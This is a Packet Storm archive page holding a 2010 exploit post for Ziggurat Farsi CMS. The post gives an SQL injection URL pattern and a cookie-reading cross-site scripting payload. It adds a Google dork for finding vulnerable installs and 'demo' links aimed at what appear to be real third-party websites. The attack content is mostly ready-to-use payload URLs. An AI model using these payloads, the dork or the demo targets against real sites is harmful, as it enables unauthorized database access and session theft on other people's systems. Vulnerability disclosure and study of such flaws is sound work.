what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ziggurat CMS Cross Site Scripting / SQL Injection

Ziggurat CMS Cross Site Scripting / SQL Injection
Posted Dec 21, 2010
Authored by d3c0der

Ziggurat CMS suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 6517d39d3e882ea3e91822ee9be8e06d8509a5d99add75cbc8e3b758a4fa9e0a

Ziggurat CMS Cross Site Scripting / SQL Injection

Change Mirror Download
#########################################################
Ziggurat CMS Multiple Vulnerabilities
---------------------------------------------------------
Portal Name: Ziggurat Farsi CMS
software : http://www.farsi-cms.com
Author : d3c0der - d3c0der@hotmail.com
google dork :  Powered By Ziggurat Farsi CMS
homepage : www.attackerz.ir
spt : netqurd - maarek - l3l4ck.$c0rpi0n  
---------------------------------------------------------


#########################################################
##sql injection
[sqli] :
http://www.[site]/main.asp?id=[id]&grp=[id]' [sqli]

demo :
http://www.sbco.ir/main.asp?id=22&grp=24'  

********          *********         *********

##Cross Site Scripting ( in search )
[xss] :
http://www.[site]/main.asp?id=5&text=<script >alert(document.cookie)</script>&gorooh=0

demo :
http://www.sbco.ir/main.asp?id=5&text=<script >alert(document.cookie)</script>&gorooh=0

http://zahedan-tebyan.ir/main.asp?id=5&text=<script >alert(document.cookie)</script>&gorooh=0&B1=%D8%A8%DA%AF%D8%B1%D8%AF

---------------------------------
by : d3c0der

#########################################################



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close